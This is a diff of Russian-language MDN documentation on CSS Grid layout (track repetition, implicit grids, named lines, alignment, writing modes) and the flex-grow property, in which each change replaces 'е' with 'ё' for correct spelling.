@@ -202,7 +202,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Задание треков с помощью нотации repeat()
                    
 
-
                    В огромных гридах с большим количеством треков можно использовать нотацию repeat() , чтобы повторить структуру треков или ее часть. Например, такое задание грида:
                    
+
                    В огромных гридах с большим количеством треков можно использовать нотацию repeat() , чтобы повторить структуру треков или её часть. Например, такое задание грида:
                    
 
 
                    .wrapper {
   display: grid;
@@ -218,7 +218,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 }
 
                    
 
-
                    Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.
                    
+
                    Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.
                    
 
 
                    .wrapper {
   display: grid;
@@ -226,7 +226,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 }
 
                    
 
-
                    Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной 1fr следует трек шириной 2fr , и все это дело повторяется пять раз.
                    
+
                    Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной 1fr следует трек шириной 2fr , и все это дело повторяется пять раз.
                    
 
 
                    .wrapper {
   display: grid;
@@ -236,11 +236,11 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Явный и неявный грид
                    
 
-
                    Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.
                    
+
                    Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определённого данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создаёт строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задаётся автоматически в зависимости от находящегося в них контента.
                    
 
 
                    Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.
                    
 
-
                    В примере ниже мы задаем grid-auto-rows , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.
                    
+
                    В примере ниже мы задаём grid-auto-rows , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.
                    
 
 
                    <div class="wrapper">
    <div>One</div>
@@ -345,7 +345,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. 
                    
 
-
                    В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.
                    
+
                    В следующем примере мы размещаем первые два элемента в нашем гриде из трёх колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.
                    
 
 
                    Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. 
                    
 
@@ -405,19 +405,19 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Grid-ячейки
                    
 
-
                    Грид-ячейка (grid cell) - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.
                    
+
                    Грид-ячейка (grid cell) - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определён для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.
                    
 
 
                    The first cell of the grid highlighted
                    
 
 
                    Grid-области
                    
 
-
                    Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (grid area). Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. 
                    
+
                    Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создаёт грид-область (grid area). Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. 
                    
 
 
                    A grid area
                    
 
 
                    Зазоры (Gutters)
                    
 
-
                    Зазоры (Gutters) или аллеи (alleys) между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в 1em между строками.
                    
+
                    Зазоры (Gutters) или аллеи (alleys) между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в 1em между строками.
                    
 
 
                    .wrapper {
    display: grid;
@@ -465,7 +465,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Вложенные гриды
                    
 
-
                    Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.
                    
+
                    Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.
                    
 
 
                    
 
                    <div class="wrapper">
@@ -483,7 +483,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Nested grid in flow
                    
 
-
                    Если мы задаем для box1 значение display: grid , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.
                    
+
                    Если мы задаём для box1 значение display: grid , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.
                    
 
 
                    .box1 {
    grid-column-start: 1;
@@ -531,7 +531,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
                    Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.
                    
 
                    
 
-
                    В приведенном выше примере мы можем отредактировать вложенный грид, изменив grid-template-columns: repeat(3, 1fr), на grid-template-columns: subgrid. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.
                    
+
                    В приведённом выше примере мы можем отредактировать вложенный грид, изменив grid-template-columns: repeat(3, 1fr), на grid-template-columns: subgrid. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.
                    
 
 
                    .box1 {
    grid-column-start: 1;
@@ -545,7 +545,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                    Размещение элементов с помощью z-index
                    
 
-
                    Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:
                    
+
                    Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:
                    
 
 
                    
 
                    <div class="wrapper">
diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
index 8ea1b8d352..80d1ad38af 100644
--- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
@@ -5,9 +5,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
 ---
 
                    Если вы знакомы с flexbox, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием Box Alignment Level 3. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.
                    
 
-
                    Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.
                    
+
                    Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера ещё не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.
                    
 
-
                    В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.
                    
+
                    В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнём с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.
                    
 
 
                    Две оси grid layout
                    
 
@@ -100,7 +100,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
 
 
                    Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя align-self по элементу сетки.
                    
 
-
                    В следующем примере я использую свойство align-self, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения start, третий end и четвертый center.
                    
+
                    В следующем примере я использую свойство align-self, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения start, третий end и четвёртый center.
                -

                В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.

                +

                В приведённом ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным жёлобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.

                Свойство align-content применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки start, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:

                @@ -499,7 +499,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout

                Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.

                -

                В приведенном ниже изображении я поместил сетку с align-content, со значением start рядом с сеткой, когда значение align-content имеет значение space-between. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:

                +

                В приведённом ниже изображении я поместил сетку с align-content, со значением start рядом с сеткой, когда значение align-content имеет значение space-between. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:

                Demonstrating how items become larger if we use space-between.

                diff --git a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index a481d519ad..d94570b6f2 100644 --- a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode

                Логические и физические свойства и ценности

                -

                CSS полон физических слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:

                +

                CSS полон физических слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведённом фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:

                .container {
   position: relative;
@@ -25,15 +25,15 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
 </div>
                -

                Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать text-align: right выравнивать текст вправо. В CSS есть также физические свойства. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.

                +

                Ещё одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать text-align: right выравнивать текст вправо. В CSS есть также физические свойства. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.

                Мы называем эти ключевые слова и свойства физическими, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.

                -

                Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (text-align) влево. Я добавил dir = "rtl" в элемент html, который переключает режим записи по умолчанию для документа на английском языке ltr. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.

                +

                Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведённом ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (text-align) влево. Я добавил dir = "rtl" в элемент html, который переключает режим записи по умолчанию для документа на английском языке ltr. Вы можете видеть, что первый абзац остаётся слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.

                A simple example of text direction.

                -

                Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.

                +

                Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течёт слева направо и сверху вниз.

                Логические свойства и значения

                @@ -41,13 +41,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode

                Block и Inline

                -

                Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования блока и встроенных осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.

                +

                Как только мы начнём заниматься логическими, а не физическими свойствами, мы перестаём видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования блока и встроенных осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.

                An image showing the default direction of the Block and Inline Axes.

                Режимы записи CSS

                -

                Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о CSS Writing Modes. Это более подробно описано в этой спецификации, чем мы коснемся здесь.

                +

                Я собираюсь представить здесь ещё одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о CSS Writing Modes. Это более подробно описано в этой спецификации, чем мы коснёмся здесь.

                writing-mode

                @@ -61,7 +61,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
              7. sideways-lr
                8. -

                Значение horizontal-tb является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. Jen’s article. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию horizontal-tb, а второй использует vertical-rl. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.

                +

                Значение horizontal-tb является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. Jen’s article. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию horizontal-tb, а второй использует vertical-rl. В тексте режима все ещё выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.

                -

                При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена main-start для начала и main-end для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как content-start и content-end, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.

                +

                При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена main-start для начала и main-end для конца контейнера, причём как для строк, так и для столбцов. Затем определил центральный блок сетки как content-start и content-end, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.

                .wrapper {
   display: grid;
@@ -77,15 +77,15 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
 
 
                Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.
                
 
-
                Присвоение линиям нескольких имен
                
+
                Присвоение линиям нескольких имён
                
 
 
                При необходимости можно присвоить строке более одного имени. Например, sidebar-end для обозначении конца области sidebar, и main-start для начала области main. Укажите имена внутри квадратных скобок через пробел [sidebar-end main-start]. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.
                
 
 
                Неявные области сетки из именованных линий
                
 
-
                Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является custom ident - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, span. Идентификаторы не заключаются в кавычки.
                
+
                Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является custom ident - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведёт к путанице - например, span. Идентификаторы не заключаются в кавычки.
                
 
-
                Хотя вы можете выбрать любые имена, но если вы добавляете -start и -end к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть content-start и content-end как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем content, которую можно по своему усмотрению.
                
+
                Хотя вы можете выбрать любые имена, но если вы добавляете -start и -end к линиям вокруг области, как в приведённом выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмём приведённый выше пример, у меня есть content-start и content-end как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем content, которую можно по своему усмотрению.
                -

                Вы можете использовать ключевое слово span. Следующий элемент будет расположен начиная с седьмой линии и займет три линии.

                +

                Вы можете использовать ключевое слово span. Следующий элемент будет расположен начиная с седьмой линии и займёт три линии.

                .item2 {
   grid-column: col-start 7 / span 3;
@@ -293,14 +293,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
 
 
                The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.
                
 
-
                Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.
                
+
                Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведённый ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.
                
 
 
                .wrapper {
   grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
 }
 
                
 
-
                Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.
                
+
                Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имён в неповторяющемся определении трека. Следующее определение создаёт четыре трека 1fr, каждый из которых имеет начальную и конечную линии.
                
 
 
                .wrapper {
   grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
@@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
 }
 
                
 
-
                Если вы использовали список треков, то вы можете использовать ключевое слово span не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..
                
+
                Если вы использовали список треков, то вы можете использовать ключевое слово span не только для охвата ряда строк, но и для охвата ряда строк с определённым именем..
                
 
 
                
 
 
-
                За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.
                
+
                За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это даёт хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.
                
 
 
                Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:
                
 
@@ -372,7 +372,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
 }
                -

                Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.

                +

                Затем мы можем использовать этот фреймворк для вёрстки нашей страницы. Например, чтобы создать макет из трёх столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.

                -

                Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!

                +

                Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнёте создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдёте свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!

            Формальный синтаксис

            diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html index 3ce8182a72..740a6a9560 100644 --- a/files/ru/web/css/flex-grow/index.html +++ b/files/ru/web/css/flex-grow/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/flex-grow ---
            {{CSSRef}}
            -

            CSS-свойство flex-grow определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»). Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.

            +

            CSS-свойство flex-grow определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»). Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определённым различными коэффициентами flex-grow.

            На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.

